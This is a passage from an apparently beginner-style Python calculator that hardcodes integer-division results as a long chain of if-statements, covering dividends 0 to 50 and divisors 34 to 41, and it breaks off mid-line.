print("1 / 34 = 0") if firstNum == 2 and sign == "/" and secondNum == 34 : print("2 / 34 = 0") if firstNum == 3 and sign == "/" and secondNum == 34 : print("3 / 34 = 0") if firstNum == 4 and sign == "/" and secondNum == 34 : print("4 / 34 = 0") if firstNum == 5 and sign == "/" and secondNum == 34 : print("5 / 34 = 0") if firstNum == 6 and sign == "/" and secondNum == 34 : print("6 / 34 = 0") if firstNum == 7 and sign == "/" and secondNum == 34 : print("7 / 34 = 0") if firstNum == 8 and sign == "/" and secondNum == 34 : print("8 / 34 = 0") if firstNum == 9 and sign == "/" and secondNum == 34 : print("9 / 34 = 0") if firstNum == 10 and sign == "/" and secondNum == 34 : print("10 / 34 = 0") if firstNum == 11 and sign == "/" and secondNum == 34 : print("11 / 34 = 0") if firstNum == 12 and sign == "/" and secondNum == 34 : print("12 / 34 = 0") if firstNum == 13 and sign == "/" and secondNum == 34 : print("13 / 34 = 0") if firstNum == 14 and sign == "/" and secondNum == 34 : print("14 / 34 = 0") if firstNum == 15 and sign == "/" and secondNum == 34 : print("15 / 34 = 0") if firstNum == 16 and sign == "/" and secondNum == 34 : print("16 / 34 = 0") if firstNum == 17 and sign == "/" and secondNum == 34 : print("17 / 34 = 0") if firstNum == 18 and sign == "/" and secondNum == 34 : print("18 / 34 = 0") if firstNum == 19 and sign == "/" and secondNum == 34 : print("19 / 34 = 0") if firstNum == 20 and sign == "/" and secondNum == 34 : print("20 / 34 = 0") if firstNum == 21 and sign == "/" and secondNum == 34 : print("21 / 34 = 0") if firstNum == 22 and sign == "/" and secondNum == 34 : print("22 / 34 = 0") if firstNum == 23 and sign == "/" and secondNum == 34 : print("23 / 34 = 0") if firstNum == 24 and sign == "/" and secondNum == 34 : print("24 / 34 = 0") if firstNum == 25 and sign == "/" and secondNum == 34 : print("25 / 34 = 0") if firstNum == 26 and sign == "/" and secondNum == 34 : print("26 / 34 = 0") if firstNum == 27 and sign == "/" and secondNum == 34 : print("27 / 34 = 0") if firstNum == 28 and sign == "/" and secondNum == 34 : print("28 / 34 = 0") if firstNum == 29 and sign == "/" and secondNum == 34 : print("29 / 34 = 0") if firstNum == 30 and sign == "/" and secondNum == 34 : print("30 / 34 = 0") if firstNum == 31 and sign == "/" and secondNum == 34 : print("31 / 34 = 0") if firstNum == 32 and sign == "/" and secondNum == 34 : print("32 / 34 = 0") if firstNum == 33 and sign == "/" and secondNum == 34 : print("33 / 34 = 0") if firstNum == 34 and sign == "/" and secondNum == 34 : print("34 / 34 = 1") if firstNum == 35 and sign == "/" and secondNum == 34 : print("35 / 34 = 1") if firstNum == 36 and sign == "/" and secondNum == 34 : print("36 / 34 = 1") if firstNum == 37 and sign == "/" and secondNum == 34 : print("37 / 34 = 1") if firstNum == 38 and sign == "/" and secondNum == 34 : print("38 / 34 = 1") if firstNum == 39 and sign == "/" and secondNum == 34 : print("39 / 34 = 1") if firstNum == 40 and sign == "/" and secondNum == 34 : print("40 / 34 = 1") if firstNum == 41 and sign == "/" and secondNum == 34 : print("41 / 34 = 1") if firstNum == 42 and sign == "/" and secondNum == 34 : print("42 / 34 = 1") if firstNum == 43 and sign == "/" and secondNum == 34 : print("43 / 34 = 1") if firstNum == 44 and sign == "/" and secondNum == 34 : print("44 / 34 = 1") if firstNum == 45 and sign == "/" and secondNum == 34 : print("45 / 34 = 1") if firstNum == 46 and sign == "/" and secondNum == 34 : print("46 / 34 = 1") if firstNum == 47 and sign == "/" and secondNum == 34 : print("47 / 34 = 1") if firstNum == 48 and sign == "/" and secondNum == 34 : print("48 / 34 = 1") if firstNum == 49 and sign == "/" and secondNum == 34 : print("49 / 34 = 1") if firstNum == 50 and sign == "/" and secondNum == 34 : print("50 / 34 = 1") if firstNum == 0 and sign == "/" and secondNum == 35 : print("0 / 35 = 0") if firstNum == 1 and sign == "/" and secondNum == 35 : print("1 / 35 = 0") if firstNum == 2 and sign == "/" and secondNum == 35 : print("2 / 35 = 0") if firstNum == 3 and sign == "/" and secondNum == 35 : print("3 / 35 = 0") if firstNum == 4 and sign == "/" and secondNum == 35 : print("4 / 35 = 0") if firstNum == 5 and sign == "/" and secondNum == 35 : print("5 / 35 = 0") if firstNum == 6 and sign == "/" and secondNum == 35 : print("6 / 35 = 0") if firstNum == 7 and sign == "/" and secondNum == 35 : print("7 / 35 = 0") if firstNum == 8 and sign == "/" and secondNum == 35 : print("8 / 35 = 0") if firstNum == 9 and sign == "/" and secondNum == 35 : print("9 / 35 = 0") if firstNum == 10 and sign == "/" and secondNum == 35 : print("10 / 35 = 0") if firstNum == 11 and sign == "/" and secondNum == 35 : print("11 / 35 = 0") if firstNum == 12 and sign == "/" and secondNum == 35 : print("12 / 35 = 0") if firstNum == 13 and sign == "/" and secondNum == 35 : print("13 / 35 = 0") if firstNum == 14 and sign == "/" and secondNum == 35 : print("14 / 35 = 0") if firstNum == 15 and sign == "/" and secondNum == 35 : print("15 / 35 = 0") if firstNum == 16 and sign == "/" and secondNum == 35 : print("16 / 35 = 0") if firstNum == 17 and sign == "/" and secondNum == 35 : print("17 / 35 = 0") if firstNum == 18 and sign == "/" and secondNum == 35 : print("18 / 35 = 0") if firstNum == 19 and sign == "/" and secondNum == 35 : print("19 / 35 = 0") if firstNum == 20 and sign == "/" and secondNum == 35 : print("20 / 35 = 0") if firstNum == 21 and sign == "/" and secondNum == 35 : print("21 / 35 = 0") if firstNum == 22 and sign == "/" and secondNum == 35 : print("22 / 35 = 0") if firstNum == 23 and sign == "/" and secondNum == 35 : print("23 / 35 = 0") if firstNum == 24 and sign == "/" and secondNum == 35 : print("24 / 35 = 0") if firstNum == 25 and sign == "/" and secondNum == 35 : print("25 / 35 = 0") if firstNum == 26 and sign == "/" and secondNum == 35 : print("26 / 35 = 0") if firstNum == 27 and sign == "/" and secondNum == 35 : print("27 / 35 = 0") if firstNum == 28 and sign == "/" and secondNum == 35 : print("28 / 35 = 0") if firstNum == 29 and sign == "/" and secondNum == 35 : print("29 / 35 = 0") if firstNum == 30 and sign == "/" and secondNum == 35 : print("30 / 35 = 0") if firstNum == 31 and sign == "/" and secondNum == 35 : print("31 / 35 = 0") if firstNum == 32 and sign == "/" and secondNum == 35 : print("32 / 35 = 0") if firstNum == 33 and sign == "/" and secondNum == 35 : print("33 / 35 = 0") if firstNum == 34 and sign == "/" and secondNum == 35 : print("34 / 35 = 0") if firstNum == 35 and sign == "/" and secondNum == 35 : print("35 / 35 = 1") if firstNum == 36 and sign == "/" and secondNum == 35 : print("36 / 35 = 1") if firstNum == 37 and sign == "/" and secondNum == 35 : print("37 / 35 = 1") if firstNum == 38 and sign == "/" and secondNum == 35 : print("38 / 35 = 1") if firstNum == 39 and sign == "/" and secondNum == 35 : print("39 / 35 = 1") if firstNum == 40 and sign == "/" and secondNum == 35 : print("40 / 35 = 1") if firstNum == 41 and sign == "/" and secondNum == 35 : print("41 / 35 = 1") if firstNum == 42 and sign == "/" and secondNum == 35 : print("42 / 35 = 1") if firstNum == 43 and sign == "/" and secondNum == 35 : print("43 / 35 = 1") if firstNum == 44 and sign == "/" and secondNum == 35 : print("44 / 35 = 1") if firstNum == 45 and sign == "/" and secondNum == 35 : print("45 / 35 = 1") if firstNum == 46 and sign == "/" and secondNum == 35 : print("46 / 35 = 1") if firstNum == 47 and sign == "/" and secondNum == 35 : print("47 / 35 = 1") if firstNum == 48 and sign == "/" and secondNum == 35 : print("48 / 35 = 1") if firstNum == 49 and sign == "/" and secondNum == 35 : print("49 / 35 = 1") if firstNum == 50 and sign == "/" and secondNum == 35 : print("50 / 35 = 1") if firstNum == 0 and sign == "/" and secondNum == 36 : print("0 / 36 = 0") if firstNum == 1 and sign == "/" and secondNum == 36 : print("1 / 36 = 0") if firstNum == 2 and sign == "/" and secondNum == 36 : print("2 / 36 = 0") if firstNum == 3 and sign == "/" and secondNum == 36 : print("3 / 36 = 0") if firstNum == 4 and sign == "/" and secondNum == 36 : print("4 / 36 = 0") if firstNum == 5 and sign == "/" and secondNum == 36 : print("5 / 36 = 0") if firstNum == 6 and sign == "/" and secondNum == 36 : print("6 / 36 = 0") if firstNum == 7 and sign == "/" and secondNum == 36 : print("7 / 36 = 0") if firstNum == 8 and sign == "/" and secondNum == 36 : print("8 / 36 = 0") if firstNum == 9 and sign == "/" and secondNum == 36 : print("9 / 36 = 0") if firstNum == 10 and sign == "/" and secondNum == 36 : print("10 / 36 = 0") if firstNum == 11 and sign == "/" and secondNum == 36 : print("11 / 36 = 0") if firstNum == 12 and sign == "/" and secondNum == 36 : print("12 / 36 = 0") if firstNum == 13 and sign == "/" and secondNum == 36 : print("13 / 36 = 0") if firstNum == 14 and sign == "/" and secondNum == 36 : print("14 / 36 = 0") if firstNum == 15 and sign == "/" and secondNum == 36 : print("15 / 36 = 0") if firstNum == 16 and sign == "/" and secondNum == 36 : print("16 / 36 = 0") if firstNum == 17 and sign == "/" and secondNum == 36 : print("17 / 36 = 0") if firstNum == 18 and sign == "/" and secondNum == 36 : print("18 / 36 = 0") if firstNum == 19 and sign == "/" and secondNum == 36 : print("19 / 36 = 0") if firstNum == 20 and sign == "/" and secondNum == 36 : print("20 / 36 = 0") if firstNum == 21 and sign == "/" and secondNum == 36 : print("21 / 36 = 0") if firstNum == 22 and sign == "/" and secondNum == 36 : print("22 / 36 = 0") if firstNum == 23 and sign == "/" and secondNum == 36 : print("23 / 36 = 0") if firstNum == 24 and sign == "/" and secondNum == 36 : print("24 / 36 = 0") if firstNum == 25 and sign == "/" and secondNum == 36 : print("25 / 36 = 0") if firstNum == 26 and sign == "/" and secondNum == 36 : print("26 / 36 = 0") if firstNum == 27 and sign == "/" and secondNum == 36 : print("27 / 36 = 0") if firstNum == 28 and sign == "/" and secondNum == 36 : print("28 / 36 = 0") if firstNum == 29 and sign == "/" and secondNum == 36 : print("29 / 36 = 0") if firstNum == 30 and sign == "/" and secondNum == 36 : print("30 / 36 = 0") if firstNum == 31 and sign == "/" and secondNum == 36 : print("31 / 36 = 0") if firstNum == 32 and sign == "/" and secondNum == 36 : print("32 / 36 = 0") if firstNum == 33 and sign == "/" and secondNum == 36 : print("33 / 36 = 0") if firstNum == 34 and sign == "/" and secondNum == 36 : print("34 / 36 = 0") if firstNum == 35 and sign == "/" and secondNum == 36 : print("35 / 36 = 0") if firstNum == 36 and sign == "/" and secondNum == 36 : print("36 / 36 = 1") if firstNum == 37 and sign == "/" and secondNum == 36 : print("37 / 36 = 1") if firstNum == 38 and sign == "/" and secondNum == 36 : print("38 / 36 = 1") if firstNum == 39 and sign == "/" and secondNum == 36 : print("39 / 36 = 1") if firstNum == 40 and sign == "/" and secondNum == 36 : print("40 / 36 = 1") if firstNum == 41 and sign == "/" and secondNum == 36 : print("41 / 36 = 1") if firstNum == 42 and sign == "/" and secondNum == 36 : print("42 / 36 = 1") if firstNum == 43 and sign == "/" and secondNum == 36 : print("43 / 36 = 1") if firstNum == 44 and sign == "/" and secondNum == 36 : print("44 / 36 = 1") if firstNum == 45 and sign == "/" and secondNum == 36 : print("45 / 36 = 1") if firstNum == 46 and sign == "/" and secondNum == 36 : print("46 / 36 = 1") if firstNum == 47 and sign == "/" and secondNum == 36 : print("47 / 36 = 1") if firstNum == 48 and sign == "/" and secondNum == 36 : print("48 / 36 = 1") if firstNum == 49 and sign == "/" and secondNum == 36 : print("49 / 36 = 1") if firstNum == 50 and sign == "/" and secondNum == 36 : print("50 / 36 = 1") if firstNum == 0 and sign == "/" and secondNum == 37 : print("0 / 37 = 0") if firstNum == 1 and sign == "/" and secondNum == 37 : print("1 / 37 = 0") if firstNum == 2 and sign == "/" and secondNum == 37 : print("2 / 37 = 0") if firstNum == 3 and sign == "/" and secondNum == 37 : print("3 / 37 = 0") if firstNum == 4 and sign == "/" and secondNum == 37 : print("4 / 37 = 0") if firstNum == 5 and sign == "/" and secondNum == 37 : print("5 / 37 = 0") if firstNum == 6 and sign == "/" and secondNum == 37 : print("6 / 37 = 0") if firstNum == 7 and sign == "/" and secondNum == 37 : print("7 / 37 = 0") if firstNum == 8 and sign == "/" and secondNum == 37 : print("8 / 37 = 0") if firstNum == 9 and sign == "/" and secondNum == 37 : print("9 / 37 = 0") if firstNum == 10 and sign == "/" and secondNum == 37 : print("10 / 37 = 0") if firstNum == 11 and sign == "/" and secondNum == 37 : print("11 / 37 = 0") if firstNum == 12 and sign == "/" and secondNum == 37 : print("12 / 37 = 0") if firstNum == 13 and sign == "/" and secondNum == 37 : print("13 / 37 = 0") if firstNum == 14 and sign == "/" and secondNum == 37 : print("14 / 37 = 0") if firstNum == 15 and sign == "/" and secondNum == 37 : print("15 / 37 = 0") if firstNum == 16 and sign == "/" and secondNum == 37 : print("16 / 37 = 0") if firstNum == 17 and sign == "/" and secondNum == 37 : print("17 / 37 = 0") if firstNum == 18 and sign == "/" and secondNum == 37 : print("18 / 37 = 0") if firstNum == 19 and sign == "/" and secondNum == 37 : print("19 / 37 = 0") if firstNum == 20 and sign == "/" and secondNum == 37 : print("20 / 37 = 0") if firstNum == 21 and sign == "/" and secondNum == 37 : print("21 / 37 = 0") if firstNum == 22 and sign == "/" and secondNum == 37 : print("22 / 37 = 0") if firstNum == 23 and sign == "/" and secondNum == 37 : print("23 / 37 = 0") if firstNum == 24 and sign == "/" and secondNum == 37 : print("24 / 37 = 0") if firstNum == 25 and sign == "/" and secondNum == 37 : print("25 / 37 = 0") if firstNum == 26 and sign == "/" and secondNum == 37 : print("26 / 37 = 0") if firstNum == 27 and sign == "/" and secondNum == 37 : print("27 / 37 = 0") if firstNum == 28 and sign == "/" and secondNum == 37 : print("28 / 37 = 0") if firstNum == 29 and sign == "/" and secondNum == 37 : print("29 / 37 = 0") if firstNum == 30 and sign == "/" and secondNum == 37 : print("30 / 37 = 0") if firstNum == 31 and sign == "/" and secondNum == 37 : print("31 / 37 = 0") if firstNum == 32 and sign == "/" and secondNum == 37 : print("32 / 37 = 0") if firstNum == 33 and sign == "/" and secondNum == 37 : print("33 / 37 = 0") if firstNum == 34 and sign == "/" and secondNum == 37 : print("34 / 37 = 0") if firstNum == 35 and sign == "/" and secondNum == 37 : print("35 / 37 = 0") if firstNum == 36 and sign == "/" and secondNum == 37 : print("36 / 37 = 0") if firstNum == 37 and sign == "/" and secondNum == 37 : print("37 / 37 = 1") if firstNum == 38 and sign == "/" and secondNum == 37 : print("38 / 37 = 1") if firstNum == 39 and sign == "/" and secondNum == 37 : print("39 / 37 = 1") if firstNum == 40 and sign == "/" and secondNum == 37 : print("40 / 37 = 1") if firstNum == 41 and sign == "/" and secondNum == 37 : print("41 / 37 = 1") if firstNum == 42 and sign == "/" and secondNum == 37 : print("42 / 37 = 1") if firstNum == 43 and sign == "/" and secondNum == 37 : print("43 / 37 = 1") if firstNum == 44 and sign == "/" and secondNum == 37 : print("44 / 37 = 1") if firstNum == 45 and sign == "/" and secondNum == 37 : print("45 / 37 = 1") if firstNum == 46 and sign == "/" and secondNum == 37 : print("46 / 37 = 1") if firstNum == 47 and sign == "/" and secondNum == 37 : print("47 / 37 = 1") if firstNum == 48 and sign == "/" and secondNum == 37 : print("48 / 37 = 1") if firstNum == 49 and sign == "/" and secondNum == 37 : print("49 / 37 = 1") if firstNum == 50 and sign == "/" and secondNum == 37 : print("50 / 37 = 1") if firstNum == 0 and sign == "/" and secondNum == 38 : print("0 / 38 = 0") if firstNum == 1 and sign == "/" and secondNum == 38 : print("1 / 38 = 0") if firstNum == 2 and sign == "/" and secondNum == 38 : print("2 / 38 = 0") if firstNum == 3 and sign == "/" and secondNum == 38 : print("3 / 38 = 0") if firstNum == 4 and sign == "/" and secondNum == 38 : print("4 / 38 = 0") if firstNum == 5 and sign == "/" and secondNum == 38 : print("5 / 38 = 0") if firstNum == 6 and sign == "/" and secondNum == 38 : print("6 / 38 = 0") if firstNum == 7 and sign == "/" and secondNum == 38 : print("7 / 38 = 0") if firstNum == 8 and sign == "/" and secondNum == 38 : print("8 / 38 = 0") if firstNum == 9 and sign == "/" and secondNum == 38 : print("9 / 38 = 0") if firstNum == 10 and sign == "/" and secondNum == 38 : print("10 / 38 = 0") if firstNum == 11 and sign == "/" and secondNum == 38 : print("11 / 38 = 0") if firstNum == 12 and sign == "/" and secondNum == 38 : print("12 / 38 = 0") if firstNum == 13 and sign == "/" and secondNum == 38 : print("13 / 38 = 0") if firstNum == 14 and sign == "/" and secondNum == 38 : print("14 / 38 = 0") if firstNum == 15 and sign == "/" and secondNum == 38 : print("15 / 38 = 0") if firstNum == 16 and sign == "/" and secondNum == 38 : print("16 / 38 = 0") if firstNum == 17 and sign == "/" and secondNum == 38 : print("17 / 38 = 0") if firstNum == 18 and sign == "/" and secondNum == 38 : print("18 / 38 = 0") if firstNum == 19 and sign == "/" and secondNum == 38 : print("19 / 38 = 0") if firstNum == 20 and sign == "/" and secondNum == 38 : print("20 / 38 = 0") if firstNum == 21 and sign == "/" and secondNum == 38 : print("21 / 38 = 0") if firstNum == 22 and sign == "/" and secondNum == 38 : print("22 / 38 = 0") if firstNum == 23 and sign == "/" and secondNum == 38 : print("23 / 38 = 0") if firstNum == 24 and sign == "/" and secondNum == 38 : print("24 / 38 = 0") if firstNum == 25 and sign == "/" and secondNum == 38 : print("25 / 38 = 0") if firstNum == 26 and sign == "/" and secondNum == 38 : print("26 / 38 = 0") if firstNum == 27 and sign == "/" and secondNum == 38 : print("27 / 38 = 0") if firstNum == 28 and sign == "/" and secondNum == 38 : print("28 / 38 = 0") if firstNum == 29 and sign == "/" and secondNum == 38 : print("29 / 38 = 0") if firstNum == 30 and sign == "/" and secondNum == 38 : print("30 / 38 = 0") if firstNum == 31 and sign == "/" and secondNum == 38 : print("31 / 38 = 0") if firstNum == 32 and sign == "/" and secondNum == 38 : print("32 / 38 = 0") if firstNum == 33 and sign == "/" and secondNum == 38 : print("33 / 38 = 0") if firstNum == 34 and sign == "/" and secondNum == 38 : print("34 / 38 = 0") if firstNum == 35 and sign == "/" and secondNum == 38 : print("35 / 38 = 0") if firstNum == 36 and sign == "/" and secondNum == 38 : print("36 / 38 = 0") if firstNum == 37 and sign == "/" and secondNum == 38 : print("37 / 38 = 0") if firstNum == 38 and sign == "/" and secondNum == 38 : print("38 / 38 = 1") if firstNum == 39 and sign == "/" and secondNum == 38 : print("39 / 38 = 1") if firstNum == 40 and sign == "/" and secondNum == 38 : print("40 / 38 = 1") if firstNum == 41 and sign == "/" and secondNum == 38 : print("41 / 38 = 1") if firstNum == 42 and sign == "/" and secondNum == 38 : print("42 / 38 = 1") if firstNum == 43 and sign == "/" and secondNum == 38 : print("43 / 38 = 1") if firstNum == 44 and sign == "/" and secondNum == 38 : print("44 / 38 = 1") if firstNum == 45 and sign == "/" and secondNum == 38 : print("45 / 38 = 1") if firstNum == 46 and sign == "/" and secondNum == 38 : print("46 / 38 = 1") if firstNum == 47 and sign == "/" and secondNum == 38 : print("47 / 38 = 1") if firstNum == 48 and sign == "/" and secondNum == 38 : print("48 / 38 = 1") if firstNum == 49 and sign == "/" and secondNum == 38 : print("49 / 38 = 1") if firstNum == 50 and sign == "/" and secondNum == 38 : print("50 / 38 = 1") if firstNum == 0 and sign == "/" and secondNum == 39 : print("0 / 39 = 0") if firstNum == 1 and sign == "/" and secondNum == 39 : print("1 / 39 = 0") if firstNum == 2 and sign == "/" and secondNum == 39 : print("2 / 39 = 0") if firstNum == 3 and sign == "/" and secondNum == 39 : print("3 / 39 = 0") if firstNum == 4 and sign == "/" and secondNum == 39 : print("4 / 39 = 0") if firstNum == 5 and sign == "/" and secondNum == 39 : print("5 / 39 = 0") if firstNum == 6 and sign == "/" and secondNum == 39 : print("6 / 39 = 0") if firstNum == 7 and sign == "/" and secondNum == 39 : print("7 / 39 = 0") if firstNum == 8 and sign == "/" and secondNum == 39 : print("8 / 39 = 0") if firstNum == 9 and sign == "/" and secondNum == 39 : print("9 / 39 = 0") if firstNum == 10 and sign == "/" and secondNum == 39 : print("10 / 39 = 0") if firstNum == 11 and sign == "/" and secondNum == 39 : print("11 / 39 = 0") if firstNum == 12 and sign == "/" and secondNum == 39 : print("12 / 39 = 0") if firstNum == 13 and sign == "/" and secondNum == 39 : print("13 / 39 = 0") if firstNum == 14 and sign == "/" and secondNum == 39 : print("14 / 39 = 0") if firstNum == 15 and sign == "/" and secondNum == 39 : print("15 / 39 = 0") if firstNum == 16 and sign == "/" and secondNum == 39 : print("16 / 39 = 0") if firstNum == 17 and sign == "/" and secondNum == 39 : print("17 / 39 = 0") if firstNum == 18 and sign == "/" and secondNum == 39 : print("18 / 39 = 0") if firstNum == 19 and sign == "/" and secondNum == 39 : print("19 / 39 = 0") if firstNum == 20 and sign == "/" and secondNum == 39 : print("20 / 39 = 0") if firstNum == 21 and sign == "/" and secondNum == 39 : print("21 / 39 = 0") if firstNum == 22 and sign == "/" and secondNum == 39 : print("22 / 39 = 0") if firstNum == 23 and sign == "/" and secondNum == 39 : print("23 / 39 = 0") if firstNum == 24 and sign == "/" and secondNum == 39 : print("24 / 39 = 0") if firstNum == 25 and sign == "/" and secondNum == 39 : print("25 / 39 = 0") if firstNum == 26 and sign == "/" and secondNum == 39 : print("26 / 39 = 0") if firstNum == 27 and sign == "/" and secondNum == 39 : print("27 / 39 = 0") if firstNum == 28 and sign == "/" and secondNum == 39 : print("28 / 39 = 0") if firstNum == 29 and sign == "/" and secondNum == 39 : print("29 / 39 = 0") if firstNum == 30 and sign == "/" and secondNum == 39 : print("30 / 39 = 0") if firstNum == 31 and sign == "/" and secondNum == 39 : print("31 / 39 = 0") if firstNum == 32 and sign == "/" and secondNum == 39 : print("32 / 39 = 0") if firstNum == 33 and sign == "/" and secondNum == 39 : print("33 / 39 = 0") if firstNum == 34 and sign == "/" and secondNum == 39 : print("34 / 39 = 0") if firstNum == 35 and sign == "/" and secondNum == 39 : print("35 / 39 = 0") if firstNum == 36 and sign == "/" and secondNum == 39 : print("36 / 39 = 0") if firstNum == 37 and sign == "/" and secondNum == 39 : print("37 / 39 = 0") if firstNum == 38 and sign == "/" and secondNum == 39 : print("38 / 39 = 0") if firstNum == 39 and sign == "/" and secondNum == 39 : print("39 / 39 = 1") if firstNum == 40 and sign == "/" and secondNum == 39 : print("40 / 39 = 1") if firstNum == 41 and sign == "/" and secondNum == 39 : print("41 / 39 = 1") if firstNum == 42 and sign == "/" and secondNum == 39 : print("42 / 39 = 1") if firstNum == 43 and sign == "/" and secondNum == 39 : print("43 / 39 = 1") if firstNum == 44 and sign == "/" and secondNum == 39 : print("44 / 39 = 1") if firstNum == 45 and sign == "/" and secondNum == 39 : print("45 / 39 = 1") if firstNum == 46 and sign == "/" and secondNum == 39 : print("46 / 39 = 1") if firstNum == 47 and sign == "/" and secondNum == 39 : print("47 / 39 = 1") if firstNum == 48 and sign == "/" and secondNum == 39 : print("48 / 39 = 1") if firstNum == 49 and sign == "/" and secondNum == 39 : print("49 / 39 = 1") if firstNum == 50 and sign == "/" and secondNum == 39 : print("50 / 39 = 1") if firstNum == 0 and sign == "/" and secondNum == 40 : print("0 / 40 = 0") if firstNum == 1 and sign == "/" and secondNum == 40 : print("1 / 40 = 0") if firstNum == 2 and sign == "/" and secondNum == 40 : print("2 / 40 = 0") if firstNum == 3 and sign == "/" and secondNum == 40 : print("3 / 40 = 0") if firstNum == 4 and sign == "/" and secondNum == 40 : print("4 / 40 = 0") if firstNum == 5 and sign == "/" and secondNum == 40 : print("5 / 40 = 0") if firstNum == 6 and sign == "/" and secondNum == 40 : print("6 / 40 = 0") if firstNum == 7 and sign == "/" and secondNum == 40 : print("7 / 40 = 0") if firstNum == 8 and sign == "/" and secondNum == 40 : print("8 / 40 = 0") if firstNum == 9 and sign == "/" and secondNum == 40 : print("9 / 40 = 0") if firstNum == 10 and sign == "/" and secondNum == 40 : print("10 / 40 = 0") if firstNum == 11 and sign == "/" and secondNum == 40 : print("11 / 40 = 0") if firstNum == 12 and sign == "/" and secondNum == 40 : print("12 / 40 = 0") if firstNum == 13 and sign == "/" and secondNum == 40 : print("13 / 40 = 0") if firstNum == 14 and sign == "/" and secondNum == 40 : print("14 / 40 = 0") if firstNum == 15 and sign == "/" and secondNum == 40 : print("15 / 40 = 0") if firstNum == 16 and sign == "/" and secondNum == 40 : print("16 / 40 = 0") if firstNum == 17 and sign == "/" and secondNum == 40 : print("17 / 40 = 0") if firstNum == 18 and sign == "/" and secondNum == 40 : print("18 / 40 = 0") if firstNum == 19 and sign == "/" and secondNum == 40 : print("19 / 40 = 0") if firstNum == 20 and sign == "/" and secondNum == 40 : print("20 / 40 = 0") if firstNum == 21 and sign == "/" and secondNum == 40 : print("21 / 40 = 0") if firstNum == 22 and sign == "/" and secondNum == 40 : print("22 / 40 = 0") if firstNum == 23 and sign == "/" and secondNum == 40 : print("23 / 40 = 0") if firstNum == 24 and sign == "/" and secondNum == 40 : print("24 / 40 = 0") if firstNum == 25 and sign == "/" and secondNum == 40 : print("25 / 40 = 0") if firstNum == 26 and sign == "/" and secondNum == 40 : print("26 / 40 = 0") if firstNum == 27 and sign == "/" and secondNum == 40 : print("27 / 40 = 0") if firstNum == 28 and sign == "/" and secondNum == 40 : print("28 / 40 = 0") if firstNum == 29 and sign == "/" and secondNum == 40 : print("29 / 40 = 0") if firstNum == 30 and sign == "/" and secondNum == 40 : print("30 / 40 = 0") if firstNum == 31 and sign == "/" and secondNum == 40 : print("31 / 40 = 0") if firstNum == 32 and sign == "/" and secondNum == 40 : print("32 / 40 = 0") if firstNum == 33 and sign == "/" and secondNum == 40 : print("33 / 40 = 0") if firstNum == 34 and sign == "/" and secondNum == 40 : print("34 / 40 = 0") if firstNum == 35 and sign == "/" and secondNum == 40 : print("35 / 40 = 0") if firstNum == 36 and sign == "/" and secondNum == 40 : print("36 / 40 = 0") if firstNum == 37 and sign == "/" and secondNum == 40 : print("37 / 40 = 0") if firstNum == 38 and sign == "/" and secondNum == 40 : print("38 / 40 = 0") if firstNum == 39 and sign == "/" and secondNum == 40 : print("39 / 40 = 0") if firstNum == 40 and sign == "/" and secondNum == 40 : print("40 / 40 = 1") if firstNum == 41 and sign == "/" and secondNum == 40 : print("41 / 40 = 1") if firstNum == 42 and sign == "/" and secondNum == 40 : print("42 / 40 = 1") if firstNum == 43 and sign == "/" and secondNum == 40 : print("43 / 40 = 1") if firstNum == 44 and sign == "/" and secondNum == 40 : print("44 / 40 = 1") if firstNum == 45 and sign == "/" and secondNum == 40 : print("45 / 40 = 1") if firstNum == 46 and sign == "/" and secondNum == 40 : print("46 / 40 = 1") if firstNum == 47 and sign == "/" and secondNum == 40 : print("47 / 40 = 1") if firstNum == 48 and sign == "/" and secondNum == 40 : print("48 / 40 = 1") if firstNum == 49 and sign == "/" and secondNum == 40 : print("49 / 40 = 1") if firstNum == 50 and sign == "/" and secondNum == 40 : print("50 / 40 = 1") if firstNum == 0 and sign == "/" and secondNum == 41 : print("0 / 41 = 0") if firstNum == 1 and sign == "/" and secondNum == 41 : print("1 / 41 = 0") if firstNum == 2 and sign == "/" and secondNum == 41 : print("2 / 41 = 0") if firstNum == 3 and sign == "/" and secondNum == 41 : print("3 / 41 = 0") if firstNum == 4 and sign == "/" and secondNum == 41 : print("4 / 41 = 0") if firstNum == 5 and sign == "/" and secondNum == 41 : print("5 / 41 = 0") if firstNum == 6 and sign == "/" and secondNum == 41 : print("6 / 41 = 0") if firstNum == 7 and sign == "/" and secondNum == 41 : print("7 / 41 = 0") if firstNum == 8 and sign == "/" and secondNum == 41 : print("8 / 41 = 0") if firstNum == 9 and sign == "/" and secondNum == 41 : print("9 / 41 = 0") if firstNum == 10 and sign == "/" and secondNum == 41 : print("10 / 41 = 0") if firstNum == 11 and sign == "/" and secondNum == 41 : print("11 / 41 = 0") if firstNum == 12 and sign == "/" and secondNum == 41 : print("12 / 41 = 0") if firstNum == 13 and sign == "/" and secondNum == 41 : print("13 / 41 = 0") if firstNum == 14 and sign == "/" and secondNum == 41 : print("14 / 41 = 0") if firstNum == 15 and sign == "/" and secondNum == 41 : print("15 / 41 = 0") if firstNum == 16 and sign == "/" and secondNum == 41 : print("16 / 41 = 0") if firstNum == 17 and sign == "/" and secondNum == 41 : print("17 / 41 = 0") if firstNum == 18 and sign == "/" and secondNum == 41 : print("18 / 41 = 0") if firstNum == 19 and sign == "/" and secondNum == 41 : print("19 / 41 = 0") if firstNum == 20 and sign == "/" and secondNum == 41 : print("20 / 41 = 0") if firstNum == 21 and sign == "/" and secondNum == 41 : print("21 / 41 = 0") if firstNum == 22 and sign == "/" and secondNum == 41 : print("22 / 41 = 0") if firstNum == 23 and sign == "/" and secondNum == 41 : print("23 / 41 = 0") if firstNum == 24 and sign == "/" and secondNum == 41 : print("24 / 41 = 0") if firstNum == 25 and sign == "/" and secondNum == 41 : print("25 / 41 = 0") if firstNum == 26 and sign == "/" and secondNum == 41 : print("26 / 41 = 0") if firstNum == 27 and sign == "/" and secondNum == 41 : print("27 / 41 = 0") if firstNum == 28 and sign == "/" and secondNum == 41 : print("28 / 41 = 0") if firstNum == 29 and sign == "/" and secondNum == 41 : print("29 / 41 = 0") if firstNum == 30 and sign == "/" and secondNum == 41 : print("30 / 41 = 0") if firstNum == 31 and sign == "/" and secondNum == 41 : print("31 / 41 = 0") if firstNum == 32 and sign == "/" and secondNum == 41 : print("32 / 41 = 0") if firstNum == 33 and sign == "/" and secondNum == 41 : print("33 / 41 = 0") if firstNum == 34 and sign == "/" and secondNum == 41 : print("34 / 41 = 0") if firstNum == 35 and sign == "/" and secondNum == 41 : print("35 / 41 = 0") if firstNum == 36 and sign == "/" and secondNum == 41 : print("36 / 41 = 0") if firstNum == 37 and sign == "/" and secondNum == 41 : print("37 / 41 = 0") if firstNum == 38 and sign == "/" and secondNum == 41 : print("38 / 41 = 0") if firstNum == 39 and sign == 